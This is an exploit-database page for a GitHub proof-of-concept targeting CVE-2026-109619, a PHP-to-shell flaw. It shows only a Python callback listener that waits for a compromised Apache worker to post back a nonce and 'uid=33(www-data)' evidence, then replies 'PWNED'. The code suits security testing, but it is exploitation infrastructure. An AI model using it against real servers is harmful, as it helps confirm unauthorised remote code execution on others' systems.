Exploit database

GH-4c1eb41c1df7d7d761be4e3a052595a4

darynongera/solid-palm-tree

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109619

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
darynongera/solid-palm-treeRevision 26fc241e8bb9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

scripts/callback_server.py

Python · 3,910 bytes
#!/usr/bin/env python3
"""Callback listener for the PHP2Shell demo and exploit tests.

Waits for the target to POST back a per-run nonce. The request body is expected
to contain ``id``/``hostname``/parent-cmdline evidence produced inside the
Apache worker. Exits 0 only when the nonce path matches and the body shows
``uid=33(www-data)`` and ``apache2``.
"""
import argparse
import json
import sys
import threading
import time
from datetime import datetime, timezone
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


class State:
    def __init__(self, expect, out):
        self.expect = expect
        self.out = out
        self.matched = threading.Event()
        self.records = []
        self.lock = threading.Lock()

    def record(self, record):
        with self.lock:
            self.records.append(record)
            body = record.get("body", "")
            if (
                record["path"] == f"/{self.expect}"
                and "uid=33(www-data)" in body
                and "apache2" in body
            ):
                self.matched.set()
            self.flush()

    def flush(self):
        data = {
            "nonce": self.expect,
            "matched": self.matched.is_set(),
            "records": self.records,
        }
        with open(self.out, "w", encoding="utf-8") as fh:
            json.dump(data, fh, indent=2)


class Handler(BaseHTTPRequestHandler):
    def _body(self):
        try:
            length = int(self.headers.get("Content-Length") or 0)
        except ValueError:
            length = 0
        if not length:
            return ""
        return self.rfile.read(length).decode("utf-8", "replace")

    def _reply(self, code, text):
        payload = text.encode()
        self.send_response(code)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(payload)))
        self.end_headers()
        self.wfile.write(payload)

    def _record(self, method):
        body = self._body()
        self.server.state.record(
            {
                "time": datetime.now(timezone.utc).isoformat(),
                "remote": self.client_address[0],
                "method": method,
                "path": self.path.split("?", 1)[0],
                "headers": dict(self.headers),
                "body": body,
            }
        )

    def do_GET(self):
        if self.path.split("?", 1)[0] == "/health":
            self._reply(200, "ok")
            return
        self._record("GET")
        self._reply(200, "ok")

    def do_POST(self):
        self._record("POST")
        self._reply(200, "PWNED")

    def log_message(self, fmt, *args):
        pass


def main(argv=None):
    parser = argparse.ArgumentParser()
    parser.add_argument("--bind", default="0.0.0.0")
    parser.add_argument("--port", type=int, default=9001)
    parser.add_argument("--expect", required=True, help="nonce expected in the path")
    parser.add_argument("--timeout", type=float, default=90.0)
    parser.add_argument("--out", required=True, help="JSON evidence file")
    args = parser.parse_args(argv)

    state = State(args.expect, args.out)
    state.flush()

    httpd = ThreadingHTTPServer((args.bind, args.port), Handler)
    httpd.daemon_threads = True
    httpd.state = state
    port = httpd.server_address[1]

    thread = threading.Thread(target=httpd.serve_forever, daemon=True)
    thread.start()
    print(f"LISTENING {args.bind} {port}", flush=True)

    deadline = time.time() + args.timeout
    while time.time() < deadline:
        if state.matched.wait(0.25):
            break

    httpd.shutdown()
    thread.join(timeout=2)
    state.flush()

    if state.matched.is_set():
        print(f"MATCHED {args.expect}", flush=True)
        return 0
    print(f"TIMEOUT waiting for {args.expect}", flush=True)
    return 1


if __name__ == "__main__":
    sys.exit(main())